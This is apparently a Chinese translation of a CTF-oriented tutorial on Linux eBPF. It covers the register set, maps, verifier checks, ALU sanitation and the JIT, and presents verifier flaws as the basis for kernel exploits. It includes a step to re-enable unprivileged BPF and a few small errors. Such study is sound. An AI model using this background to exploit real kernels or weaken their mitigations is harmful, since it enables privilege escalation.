原文
BPFの導入
検証器とJITコンパイラ
eBPFのバグの悪用
题目下载
BPF介绍
BPF
在介绍eBPF之前,先介绍其前身BPF。
随着时代的发展,BPF的用途越来越广泛,扩展也越来越多。在重大更改后的BPF有时被称为eBPF(扩展BPF),而之前的BPF有时被称为cBPF(经典BPF)。然而,在当前的Linux中,内部仅使用eBPF,因此不需要明确区分时,eBPF/cBPF被统称为BPF。
什么是BPF
BPF(伯克利数据包过滤器)是Linux内核拥有的专有RISC类型虚拟机。它是为了在内核空间中执行从用户空间传递的代码而准备的。当然,执行任意代码是危险的,因此BPF中存在的指令集大多是安全的指令,如运算和条件分支。但是,由于包含无法保证安全性的指令,例如内存写入和跳转,因此在接受字节码时需要通过验证器。这使得只能运行安全的程序(例如不会陷入无限循环)。
那么,为什么需要从用户空间到内核空间执行代码呢?
BPF最初是为了数据包过滤而设计的。当用户加载BPF代码时,BPF代码将在通信数据包生成时执行,并可用于过滤。现在,除了数据包过滤之外,BPF还用于获取执行跟踪和seccomp过滤系统调用的机制等。
如上所述,BPF已在各种地方使用,例如数据包过滤器和seccomp。但是,如果每次都解释和模拟BPF字节码,则执行速度会有困难。因此,通过验证器的BPF字节码将被JIT(实时)编译器转换为CPU可以解释的机器语言。
JIT编译器是指在程序执行过程中动态地将某些代码转换为本机机器语言的机制。例如,Chrome和Firefox等浏览器在找到多次调用的JavaScript函数后,将其转换为机器语言,然后执行机器语言以加速速度。在Linux内核的BPF中,JIT编译器是否使用取决于选项,但目前的Linux内核默认启用JIT编译器。
整理后,执行BPF代码的流程如下
- 从用户空间通过bpf系统调用将BPF字节码传递到内核空间
- 验证器确认执行字节码是否安全
- 验证成功后,使用JIT编译器将其转换为与CPU对应的机器语言
- 事件发生后,将调用JIT编译后的机器语言
当事件发生时,将根据注册的BPF(要检查的事件)类型传递参数。将此参数称为上下文。BPF处理该参数并最终返回一个返回值。例如,在seccomp中,包含要调用的系统调用编号、架构类型等的结构体将作为参数传递给BPF程序。BPF程序(seccomp filter)根据系统调用号等确定是否允许执行系统调用,并将其作为返回值传递给内核。收到此返回值的内核可以决定是否允许、拒绝或失败系统调用。
seccomp仍然使用cBPF,但内核内部只使用eBPF,因此首先将其转换为eBPF。此外,seccomp除了BPF验证器外,还有自己的验证机制。
此外,为了使BPF程序与用户空间进行交互,需要使用BPF映射。在BPF中,内核空间映射是键值对的关联数组。 有关此的详细信息,请在实际编写BPF程序时查看。
BPF架构
让我们更详细地了解BPF的结构。cBPF以前是32位架构,但eBPF现在是64位架构,寄存器数量也增加了。这里将介绍eBPF的架构。
寄存器和堆栈
BPF程序可以使用512字节的堆栈。eBPF提供以下寄存器
BPF寄存器 | BPF寄存器 |
---|---|
R0 | rax |
R1 | rdi |
R2 | rsi |
R3 | rdx |
R4 | rcx |
R5 | r8 |
R6 | rbx |
R7 | r13 |
R8 | r13 |
R9 | r15 |
R10 | rbp |
除R10外,其他寄存器在 BPF 程序中可以视为通用寄存器,但有些寄存器具有特殊含义。
R1
为内核端传递过来的上下文(指针)。例如,对于套接字过滤器,可以从上下文中检索数据包数据R0
用作 BPF 程序的返回值。因此,必须在BPF_EXIT_INSN
退出BPF 程序之前设置R0。因为返回值是有含义的,比如seccomp表示允许还是拒绝系统调用R1到R5
作为从BPF程序调用内核中的函数(后面将介绍的辅助函数)的参数寄存器R10
是堆栈的帧指针,是只读的
指令集
普通用户加载的BPF程序最多可以使用4096条指令,root可以加载百万条的指令。
由于BPF是RISC类型的架构,因此所有指令都具有相同的大小。每个指令都是64位,每个比特都有以下含义
位 | 名称 | 含义 |
---|---|---|
0-7 | op | 操作码 |
8-11 | dst_reg | 目的地寄存器 |
12-15 | src_reg | 源寄存器 |
16-31 | off | 偏移 |
32-63 | imm | 立即数 |
操作码op的前4为表示code,接下来的 1 位表示source,其余 3 位表示class
- class指定指令的类型(内存写入、算术运算等)
- source 确定源操作数是寄存器还是立即数
- code 指定类中的具体指令号
BPF 指令集记录在Linux 内核文档中
程序类型
在上述示例中实际尝试BPF时,指定了BPF_PROG_TYPE_SOCKET_FILTER类型。因此,需要在加载时指定BPF程序的用途。
cBPF只有两种类型:套接字过滤器和系统调用过滤器,但eBPF提供了20多种类型。
类型列表在uapi/linux/bpf.h中定义。
例如,BPF_PROG_TYPE_SOCKET_FILTER是cBPF也可以使用的套接字过滤器的用途。根据BPF程序的返回值,可以进行丢弃数据包等操作。这种类型的BPF程序可以通过使用SO_ATTACH_BPF选项调用setsockopt系统调用来附加到套接字。
__sk_buff结构体作为上下文传递
辅助函数
正如在寄存器部分简要提到的,有一些函数可以从 BPF 程序中调用。例如,对于套接字过滤器,除了基本辅助函数外,还提供了四个函数。
static const struct bpf_func_proto *
sk_filter_func_proto(enum bpf_func_id func_id, const struct bpf_prog *prog)
{
switch (func_id) {
case BPF_FUNC_skb_load_bytes:
return &bpf_skb_load_bytes_proto;
case BPF_FUNC_skb_load_bytes_relative:
return &bpf_skb_load_bytes_relative_proto;
case BPF_FUNC_get_socket_cookie:
return &bpf_get_socket_cookie_proto;
case BPF_FUNC_get_socket_uid:
return &bpf_get_socket_uid_proto;
case BPF_FUNC_perf_event_output:
return &bpf_skb_event_output_proto;
default:
return bpf_sk_base_func_proto(func_id);
}
}
基本的辅助函数包括处理BPF映射的map_lookup_elem和map_update_elem等。让我们在实际编写BPF程序时学习每个函数的具体用法。
BPF的使用
那么,让我们实际使用BPF(eBPF)
在随文题目上进行测试是没有问题的,但如果在您使用的机器上进行测试,请先确认BPF是否可供普通用户使用。在撰写本文时,为了防止像Spectre这样的侧信道攻击,普通用户不再使用BPF。可以从/proc/sys/kernel/unprivileged_bpf_disabled中确认是否有效
$ cat /proc/sys/kernel/unprivileged_bpf_disabled
2
如果该值为0,则没有CAP_SYS_ADMIN的用户也可以使用BPF。如果为1或2,则暂时将其更改为0
编写 BPF 程序
下载bpf_insn.h,
并将其放在与测试 C 代码相同的文件夹中。
首先,尝试运行不执行任何操作的BPF程序
#include <linux/bpf.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include "bpf_insn.h"
void fatal(const char *msg) {
perror(msg);
exit(1);
}
int bpf(int cmd, union bpf_attr *attrs) {
return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}
int main() {
char verifier_log[0x10000];
struct bpf_insn insns[] = {
BPF_MOV64_IMM(BPF_REG_0, 4),
BPF_EXIT_INSN(),
};
union bpf_attr prog_attr = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = sizeof(insns) / sizeof(insns[0]),
.insns = (uint64_t)insns,
.license = (uint64_t)"GPL v2",
.log_level = 2,
.log_size = sizeof(verifier_log),
.log_buf = (uint64_t)verifier_log
};
int progfd = bpf(BPF_PROG_LOAD, &prog_attr);
if (progfd == -1) {
fatal("bpf(BPF_PROG_LOAD)");
}
int socks[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
fatal("socketpair");
if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
fatal("setsockopt");
write(socks[1], "Hello", 5);
char buf[0x10] = {};
read(socks[0], buf, 0x10);
printf("Received: %s\n", buf);
return 0;
}
此代码将加载BPF程序到套接字(BPF_PROG_TYPE_SOCKET_FILTER)。因此,最后一次write将作为触发器执行BPF程序。
以下部分是BPF程序。
struct bpf_insn insns[] = {
BPF_MOV64_IMM(BPF_REG_0, 4),
BPF_EXIT_INSN(),
};
此示例将 64 位立即数 4 分配给 R0 并终止程序。如果一切正常,它应该打印“Hell”。
稍后将详细说明寄存器,但R0寄存器将用作BPF程序的返回值。尽管这次write发送了5个字符,但由于BPF丢弃了数据包,因此只能接收4个字符。也就是说,可以通过返回值来切断发送数据。实际上,socket手册如下所述。
SO_ATTACH_FILTER(自Linux2.2起)、SO_ATTACH_BPF(自Linux3.19起)
将经典的BPF(SO_ATTACH_FILTER)或扩展的BPF(SO_ATTACH_BPF)程序附加到套接字,用作传入数据包的过滤器。如果过滤器程序返回零,则数据包将被丢弃。如果过滤器程序返回的值小于数据包的数据长度,则数据包将被截断为返回的长度。如果过滤器返回的值大于或等于数据包的数据长度,则允许数据包继续不修改。
BPF map的使用
到目前为止,我们已经确认可以使用BPF过滤数据包。
接下来,我们将尝试使用BPF映射,这几乎一定会在eBPF的漏洞中使用。BPF映射用于在用户空间(加载BPF程序的一方)和内核空间中运行的BPF程序之间进行交互。
创建BPF映射,使用BPF_MAP_CREATE命令bpf(BPF_MAP_CREATE, &attr);
。此时传递的bpf_attr结构体将map_type设置为BPF_MAP_TYPE_ARRAY,并指定数组大小和键值大小。在利用上下文中,键可以很小,因此键固定为int类型。
int map_create(int val_size, int max_entries) {
union bpf_attr attr = {
.map_type = BPF_MAP_TYPE_ARRAY,
.key_size = sizeof(int),
.value_size = val_size,
.max_entries = max_entries
};
int mapfd = bpf(BPF_MAP_CREATE, &attr);
if (mapfd == -1) fatal("bpf(BPF_MAP_CREATE)");
return mapfd;
}
数组中的值可以通过BPF_MAP_UPDATE_ELEM更新,可以通过BPF_MAP_LOOKUP_ELEM获取
int map_update(int mapfd, int key, void *pval) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (uint64_t)&key,
.value = (uint64_t)pval,
.flags = BPF_ANY
};
int res = bpf(BPF_MAP_UPDATE_ELEM, &attr);
if (res == -1) fatal("bpf(BPF_MAP_UPDATE_ELEM)");
return res;
}
int map_lookup(int mapfd, int key, void *pval) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (uint64_t)&key,
.value = (uint64_t)pval,
.flags = BPF_ANY
};
return bpf(BPF_MAP_LOOKUP_ELEM, &attr); // -1 if not found
}
尝试读写map-value(在用户空间)。
unsigned long val;
int mapfd = map_create(sizeof(val), 4);
val = 0xdeadbeefcafebabe;
map_update(mapfd, 1, &val);
val = 0;
map_lookup(mapfd, 1, &val);
printf("0x%lx\n", val);
现在,让我们尝试从 BPF 程序端操作 BPF 映射。
/* BPFマップの用意 */
unsigned long val;
int mapfd = map_create(sizeof(val), 4);
val = 0xdeadbeefcafebabe;
map_update(mapfd, 1, &val);
struct bpf_insn insns[] = {
BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 1), // key=1
BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x10, 0x1337), // val=0x1337
// arg1: mapfd
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
// arg2: key pointer
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -8),
// arg3: value pointer
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_2),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -8),
// arg4: flags
BPF_MOV64_IMM(BPF_REG_ARG4, 0),
BPF_EMIT_CALL(BPF_FUNC_map_update_elem), // map_update_elem(mapfd, &k, &v)
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};
...
map_lookup(mapfd, 1, &val);
printf("val (before): 0x%lx\n", val);
write(socks[1], "Hello", 5);
map_lookup(mapfd, 1, &val);
printf("val (after) : 0x%lx\n", val);
此BPF程序使用map_update_elem助手函数将BPF映射中的键1的值更改为0x1337。
首先,map_update_elem将键和值都传递给指针,因此需要在内存中准备键和值。
BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 1), // key=1
BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x10, 0x1337), // val=0x1337
BPF_REG_FP是R10堆栈指针。BPF_ST_MEM用熟悉的 x86-64 程序集编写,看起来像这样:
mov dword [rsp-0x08], 1
mov dword [rsp-0x10], 0x1337
接下来,准备参数。参数从BPF_REG_ARG1开始依次输入,这是用的是R1寄存器。
map_update_elem的第一个参数是BPF映射的文件描述符。可以使用BPF_LD_MAP_FD将其分配给寄存器。
// arg1: mapfd
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
第二个和第三个参数分别是指向键和值的指针
// arg2: key pointer
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -8),
// arg3: value pointer
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_2),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -8),
第四个参数是标志,我们将 0 放入其中。
// arg4: flags
BPF_MOV64_IMM(BPF_REG_ARG4, 0),
最后,可以使用BPF_EMIT_CALL调用助手函数
BPF_EMIT_CALL(BPF_FUNC_map_update_elem), // map_update_elem(mapfd, &k, &v)
执行后,可以看到在BPF程序启动write命令前后,BPF映射中的键1的值发生了变化。
$ ./a.out
val (before): 0xdeadbeefcafebabe
val (after) : 0x1337
验证码与JIT编译器
验证器
验证器的源代码写在Linux内核的kernel/bpf/verifier. c 中。
验证器逐个检查命令,并跟踪所有分支直到退出命令。验证大致分为两个阶段(First Pass,Two Pass)。
在第一步检查中,通过深度优先搜索确保程序是有向非循环图(DAG)。DAG是指没有循环的有向图。
通过此检查,以下程序将被拒绝。
- 如果存在超过BPF_MAXINSNS的命令
- 如果循环流存在
- 如果存在无法到达的命令
- 存在越界或非法跳跃的情况
第二步检查将再次搜索所有路径。此时,将跟踪寄存器值的类型和范围。
通过此检查,如以下程序将被拒绝。
- 使用未初始化的寄存器
- 返回内核空间指针
- 将内核空间指针写入 BPF 映射
- 无效指针的读写
第一步检查
DAG检查在check_cfg 函数中实现。算法本身是深度优先搜索,不使用递归调用。
check_cfg从程序开始就以深度优先搜索的方式查看命令。对于当前正在查看的命令,将调用vise_insn,并使用此函数将分支推送到堆栈中。推送到搜索堆栈由put_insn 定义,其中包括跳出范围和闭路检测。
if (w < 0 || w >= env->prog->len) {
verbose_linfo(env, t, "%d: ", t);
verbose(env, "jump out of range from insn %d to %d\n", t, w);
return -EINVAL;
}
...
} else if ((insn_state[w] & 0xF0) == DISCOVERED) {
if (loop_ok && env->bpf_capable)
return DONE_EXPLORING;
verbose_linfo(env, t, "%d: ", t);
verbose_linfo(env, w, "%d: ", w);
verbose(env, "back-edge from insn %d to %d\n", t, w);
return -EINVAL;
请注意,visit_insn一次只能推送一个路径。(或者DONE_EXPLORING会通知该命令的所有分支都已搜索完成)例如,如果有条件分支,如BPF_JEQ,visit_insn只会推送第一个分支。
由于是深度优先搜索,因此当该分支的搜索全部完成时,它将再次返回BPF_JEQ。然后对BPF_JEQ再次调用visit_insn,然后推送另一个分支。
当搜索结束后,BPF_JEQ第三次调用visit_insn,然后返回DONE_EXPLORING,BPF_JEQ从堆栈中弹出。
条件分支不同时推送两个路径,提取命令时不pop,乍一看似乎效率低下,但这是为了在检测到异常时输出漂亮的堆栈跟踪而设计的。
例如,任何像下面这样的程序都会被第一步检查机制拒绝。
// 有无法到达的命令
struct bpf_insn insns[] = {
BPF_EXIT_INSN(),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};
// 向范围外的跳跃
struct bpf_insn insns[] = {
BPF_JMP_IMM(BPF_JA, 0, 0, 2),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};
// 循环
struct bpf_insn insns[] = {
BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 123, -1), // jmp if r0 != 123
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};
即使有负方向的跳跃,如果没有循环,也没有问题
struct bpf_insn insns[] = {
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_JMP_IMM(BPF_JA, 0, 0, 1), // jmp to JEQ
BPF_JMP_IMM(BPF_JA, 0, 0, 1), // jmp to MOV64
BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, -2), // jmp to JA(1) if R0==0
BPF_EXIT_INSN(),
};
第二步检查
第二步检查主要由do_check 函数定义,用于跟踪寄存器类型、值范围、具体值和偏移量。
类型跟踪
验证器在bpf_reg_state结构体中保存寄存器值的类型。例如,考虑以下命令
BPF_MOV64_REG(BPF_REG_0, BPF_REG_10)
BPF_ALU64_IMM(BPF_ADD, BPF_REG_0, -8)
第一条指令将堆栈指针R10分配给R0。此时,R0将成为PTR_TO_STACK类型。下一条指令将从R0减去8,但仍指向堆栈范围内,因此仍然是PTR_TO_STACK。此外,指针和指针的加法将被视为常量,因此新类型将根据指令类型、寄存器类型、值范围等而变化。
类型跟踪对于检查无效程序是必不可少的。例如,如果可以使用常量值作为指针从内存加载和存储数据,则会导致任意地址读写。此外,如果可以在接收上下文的助手函数中指定可自由操作的指针,例如BPF映射,则可以使用虚假上下文。
寄存器类型(enum bpf_reg_type ),定义了以下类型。
类型 | 含义 |
---|---|
NOT_INIT | 未初始化 |
SCALAR_VALUE | 常量值 |
PTR_TO_CTX | 指向上下文(BPF程序的调用参数)的指针 |
CONST_PTR_TO_MAP | 指向 BPF 映射的指针 |
PTR_TO_MAP_VALUE | 指向 BPF 映射中值的指针 |
PTR_TO_MAP_KEY | 指向 BPF 映射中键的指针 |
PTR_TO_STACK | 指向 BPF 堆栈的指针 |
PTR_TO_MEM | 指向有效内存区域的指针 |
PTR_TO_FUNC | 指向 BPF 函数的指针 |
寄存器的初始状态由init_reg_state 函数定义
常量跟踪
验证器通过使用区间的抽象化跟踪寄存器的常数。也就是说,对于各寄存器,记录了此时寄存器可以取的“最小值”和“最大值”。
例如,如果在R0+=R1(BPF_ADD)时,R0和R1可以分别取[10,20]、[-2,2],则运算(抽象解释)后的R0值为[8,22]。
关于运算的这种行为是在adjust_reg_min_max_vals函数和adjust_scalar_min_max_vals函数中定义。
在不知道具体值的分析过程中,通常会在抽象范围内猜测值。如果不使用健全的方法进行抽象化,解释结果可能会出错。
为了跟踪值的范围,验证器通过以下值保留并跟踪每个寄存器
变量 | 解释 |
---|---|
umin_value, umax_value | 解释为 64 位无符号整数时的最小值和最大值 |
smin_value, smax_value | 解释为 64 位有符号整数时的最小值和最大值 |
u32_min_value, u32_max_value | 解释为 32 位无符号整数时的最小值和最大值 |
s32_min_value, s32_max_value | 解释为 32 位有符号整数时的最小值和最大值 |
var_off | 寄存器中每个比特的信息(已知具体值的比特) |
var_off是tnum一个名为的结构体,包含mask和value两个字段。
mask和value两个字段每个比特,用于表示当前寄存器的值(每个比特)是否是确定的
mask某位的比特的值为1,表示寄存器该位的值是不确定的
value某位的比特的值为1,表示寄存器该位的值是确定的
例如,从BPF映射获取的64位值最初所有位都是未知的,因此var_off是
(mask=0xffffffffffffffff; value=0x0)
如果将0xffff0000与此寄存器AND,则可以知道与0 AND的部分将变为0
(mask=0x00000000ffff0000; value=0x0)
再加上0x12345,可以知道低位16位
(mask=0x1ffff0000; value=0x2345)
请注意,掩码的位增加了1位。
此时的umin_value、umax_value、u32_min_value、u32_max_value分别为0x1ffff0000、0x1ffff2345、0xffff0000、0xffff2345
现在,让我们看看具体的实现。对于BPF_ADD,寄存器将更新如下
case BPF_ADD:
scalar32_min_max_add(dst_reg, &src_reg);
scalar_min_max_add(dst_reg, &src_reg);
dst_reg->var_off = tnum_add(dst_reg->var_off, src_reg.var_off);
break;
scalar_min_max_add实现了考虑整数溢出等因素的范围计算
static void scalar_min_max_add(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
s64 smin_val = src_reg->smin_value;
s64 smax_val = src_reg->smax_value;
u64 umin_val = src_reg->umin_value;
u64 umax_val = src_reg->umax_value;
if (signed_add_overflows(dst_reg->smin_value, smin_val) ||
signed_add_overflows(dst_reg->smax_value, smax_val)) {
dst_reg->smin_value = S64_MIN;
dst_reg->smax_value = S64_MAX;
} else {
dst_reg->smin_value += smin_val;
dst_reg->smax_value += smax_val;
}
if (dst_reg->umin_value + umin_val < umin_val ||
dst_reg->umax_value + umax_val < umax_val) {
dst_reg->umin_value = 0;
dst_reg->umax_value = U64_MAX;
} else {
dst_reg->umin_value += umin_val;
dst_reg->umax_value += umax_val;
}
}
对于乘除、逻辑和算术移位等所有运算,都实现了这样的更新处理。计算值的范围用于检查偏移是否在内存访问(如堆栈或上下文)的范围内。
例如,堆栈范围检查由check_stack_access_in_bound 定义。如果值已知为常量,例如直接值,则进行常规偏移检查。
if (tnum_is_const(reg->var_off)) {
min_off = reg->var_off.value + off;
if (access_size > 0)
max_off = min_off + access_size - 1;
else
max_off = min_off;
另一方面,如果不知道具体值,则检查偏移量可以取的最小值和最大值
} else {
if (reg->smax_value >= BPF_MAX_VAR_OFF ||
reg->smin_value <= -BPF_MAX_VAR_OFF) {
verbose(env, "invalid unbounded variable-offset%s stack R%d\n",
err_extra, regno);
return -EACCES;
}
min_off = reg->smin_value + off;
if (access_size > 0)
max_off = reg->smax_value + off + access_size - 1;
else
max_off = min_off;
}
然后,使用这些值进行范围检查
err = check_stack_slot_within_bounds(min_off, state, type);
if (!err)
err = check_stack_slot_within_bounds(max_off, state, type);
除了BPF之外,跟踪寄存器和变量的值范围的方法在需要优化和加速的JIT中也经常使用。
为了提高执行速度,安全检查需要尽可能提前完成。
以下程序将被第二步检查机制拒绝
// 未初始化的寄存器的利用
struct bpf_insn insns[] = {
BPF_MOV64_REG(BPF_REG_0, BPF_REG_5),
BPF_EXIT_INSN(),
};
// 内核空间指针泄漏
struct bpf_insn insns[] = {
BPF_MOV64_REG(BPF_REG_0, BPF_REG_1),
BPF_EXIT_INSN(),
};
考虑一个抽象值不为常量的例子
int mapfd = map_create(0x10, 1);
struct bpf_insn insns[] = {
BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0), // key=0
// arg1: mapfd
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
// arg2: key pointer
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -8),
// map_lookup_elem(mapfd, &key)
BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
// jmp if success (R0 != NULL)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(), // exit on failure
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0), // R6 = arr[0]
BPF_MOV64_REG(BPF_REG_7, BPF_REG_0), // R7 = &arr[0]
BPF_ALU64_IMM(BPF_AND, BPF_REG_6, 0b0111), // R6 &= 0b0111
BPF_ALU64_REG(BPF_ADD, BPF_REG_7, BPF_REG_6), // R7 += R6
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_7, 0), // R0 = [R7]
BPF_EXIT_INSN(),
};
首先,准备一个值大小为0x10的BPF映射。在BPF程序的第一个块中,将BPF映射的第一个值及其指针分别分配给R6和R7。(map_lookup_elem的返回值R0是指向第二个参数索引中指定的元素的指针。由于可能返回NULL,因此在条件分支中删除NULL。)
在最后一个块中,指针R7将R6的值相加。R6是从BPF映射中获取的值,因此可以获取任何值。但是,由于BPF_AND中获取0b0111和and,因此此时R6的值将变为[0,7]。由于BPF映射值的大小为0x10,因此从值指针的开头加7,然后使用BPF_LDX_MEM(BPF_DW)获取8个字节也没有问题。因此,此BPF程序可以通过验证器。
但是,如果将BPF_AND的值设置为0b1111等,则验证器会拒绝程序。
...
11: (0f) r7 += r6
R0=map_value(id=0,off=0,ks=4,vs=16,imm=0) R6_w=invP(id=0,umax_value=15,var_off=(0x0; 0xf)) R7_w=map_value(id=0,off=0,ks=4,vs=16,umax_value=15,var_off=(0x0; 0xf)) R10=fp0 fp-8=mmmmmmmm
12: R0=map_value(id=0,off=0,ks=4,vs=16,imm=0) R6_w=invP(id=0,umax_value=15,var_off=(0x0; 0xf)) R7_w=map_value(id=0,off=0,ks=4,vs=16,umax_value=15,var_off=(0x0; 0xf)) R10=fp0 fp-8=mmmmmmmm
12: (79) r0 = *(u64 *)(r7 +0)
R0_w=map_value(id=0,off=0,ks=4,vs=16,imm=0) R6_w=invP(id=0,umax_value=15,var_off=(0x0; 0xf)) R7_w=map_value(id=0,off=0,ks=4,vs=16,umax_value=15,var_off=(0x0; 0xf)) R10=fp0 fp-8=mmmmmmmm
invalid access to map value, value_size=16 off=15 size=8
R7 max value is outside of the allowed memory range
processed 12 insns (limit 1000000) max_states_per_insn 0 total_states 1 peak_states 1 mark_read 1
bpf(BPF_PROG_LOAD): Permission denied
这是因为值大小为16,但最大偏移量为15,并试图从中获取8个字节,从而导致超范围引用。
此外,某些命令不支持值跟踪。例如,通过BPF_NEG时,它总是会被取消绑定,因此下一个程序(实际上没有问题)会被验证器拒绝。
BPF_ALU64_IMM(BPF_AND, BPF_REG_6, 0b0111), // R6 &= 0b0111
BPF_ALU64_IMM(BPF_NEG, BPF_REG_6, 0), // R6 = -R6 (追加)
BPF_ALU64_IMM(BPF_NEG, BPF_REG_6, 0), // R6 = -R6 (追加)
BPF_ALU64_REG(BPF_ADD, BPF_REG_7, BPF_REG_6), // R7 += R6
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_7, 0), // R0 = [R7]
这样,第二步检查会跟踪寄存器,以确保在内存访问或寄存器使用时不会发生未定义的操作。相反,如果此检查是错误的,则可能会在内存访问中引起范围外引用。
ALU sanitation
虽然到目前为止说明的类型检查和范围跟踪是验证器的工作,但由于滥用eBPF的攻击增加,近年来引入了一种名为ALU Health的缓解机制。
验证器的错误导致了攻击,因为它可以引起超范围引用。
例如,假设有一个“损坏”的寄存器(R2),如下图,验证器猜测为0,但却创建了一个实际值为32的损坏寄存器。攻击者将损坏的值添加到具有4个大小为8的值的映射指针上,如图所示。验证器认为该值为0,因此在添加后仍然指向映射的开头,但实际上指向了超范围。在这种状态下从R1加载值,可以在不被验证器检测到的情况下进行超出范围的引用。
为了解决这种验证器错误导致的范围外引用问题,ALU Health在2019年引入了缓解机制。
在eBPF中,只允许对指针进行标量值的加法和减法运算。在ALU Health中,当已知指针和标量值的加法和减法中标量值侧是常量时,将其重写为常量运算BPF_ALUxx_IMM。例如,R1是映射指针,R2是标量值为猜测值0,实际值为1的寄存器。此时
BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2)
因为验证器认为R2是常数0
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 0)
这个补丁最初是为了防止名为Spectre的侧通道攻击而引入的,但对于利用验证器漏洞的攻击也很有效
此外,如果标量侧不是常量,则使用alu_limited值修补命令。
alu_limited是一个数字,表示从该指针最多可以添加或减去多少值。例如,如果指向大小为0x10的映射元素开头的第二个字节,并且BPF_ADD与标量值相加,则alu_limited将变为0xe。就像之前一样。
BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG2)
考虑这个命令。在ALU sanitation中,这个命令将被修补如下。(BPF_REG_AX是辅助寄存器。)
BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit),
BPF_ALU64_REG(BPF_SUB, BPF_REG_AX, off_reg),
BPF_ALU64_REG(BPF_OR, BPF_REG_AX, off_reg),
BPF_ALU64_IMM(BPF_NEG, BPF_REG_AX, 0),
BPF_ALU64_IMM(BPF_ARSH, BPF_REG_AX, 63),
BPF_ALU64_REG(BPF_AND, BPF_REG_AX, off_reg),
考虑将标量值R2与寄存器R1相加,寄存器R1指向大小为0x10的映射元素的第二个字节。假设标量值R2超过了alu_limited的0xe,但由于某些错误,验证器无法检测到。例如,将生成以下命令行:
BPF_MOV32_IMM(BPF_REG_AX, 0xe),
BPF_ALU64_REG(BPF_SUB, BPF_REG_AX, BPF_REG_R2),
BPF_ALU64_REG(BPF_OR, BPF_REG_AX, BPF_REG_R2),
BPF_ALU64_IMM(BPF_NEG, BPF_REG_AX, 0),
BPF_ALU64_IMM(BPF_ARSH, BPF_REG_AX, 63),
BPF_ALU64_REG(BPF_AND, BPF_REG_AX, BPF_REG_R2),
首先,在前两条指令中计算0xe-R2。如果R2在范围内,则为正值或零,但如果超出范围,则为负值。在接下来的OR指令中,如果AX和R2具有不同的符号,则最高位为1。也就是说,如果出现超范围引用,则最高位应为1。
然后用NEG反转符号,用算术移位进行64位移位。如果出现范围外引用,则AX为0,否则AX为0xffffffffffffffff。最后取R2和AX的AND,这是最终使用的偏移量。
通过此操作,如果出现超出范围的引用,指针将被加到0
每个操作的可用性
第二阶段检查禁止的处理大致整理如下
- 寄存器
- 写入R10(FP)
- 读取未初始化寄存器
-
- 上下文
- 超出上下文范围的读写
- Check_ctx_access中 的上下文对应的代码不允许读写
- 上下文
- BPF地图
- 数据范围之外的读写
- 指针写入
-
- 堆栈
- 超出堆栈范围的读写
- 读取未初始化区域
- 8字节(32位为4字节)未对齐(可能)读写
- 指针的低位32位(BPF_W)等部分读写
- 堆栈
- 一般内存
- 可能具有空指针的读写指针
- 函数
- 传递与定义不同的类型/值参数
写入映射中的值时,写入目标的跟踪范围将消失。另一方面,堆栈可以写入指针,并记住写入值的范围和类型。作为代价,堆栈的大小限制为512字节,无法写入未对齐的偏移或从用户空间读写。
JIT(即时编译器)
通过验证器的BPF程序保证在任何输入下运行都是安全的(假设验证器是正确的
)。因此,JIT编译器将直接将给定的指令转换为适合CPU的机器语言。
由于每个CPU的机器语言不同,因此JIT代码写在arch目录下。对于x86-64,在arch/x86/net/bpf_jit_comp. c 中的do_jit函数中描述。
例如,将乘法(BPF_MUL)转换为机器语言的代码如下所示。
case BPF_ALU | BPF_MUL | BPF_X:
case BPF_ALU64 | BPF_MUL | BPF_X:
maybe_emit_mod(&prog, src_reg, dst_reg,
BPF_CLASS(insn->code) == BPF_ALU64);
/* imul dst_reg, src_reg */
EMIT3(0x0F, 0xAF, add_2reg(0xC0, src_reg, dst_reg));
break;
0x0F,0xAF是对应于imul命令的命令代码
即使验证器是正确的,如果JIT生成的代码的行为与验证器不同,它也可能成为可利用的
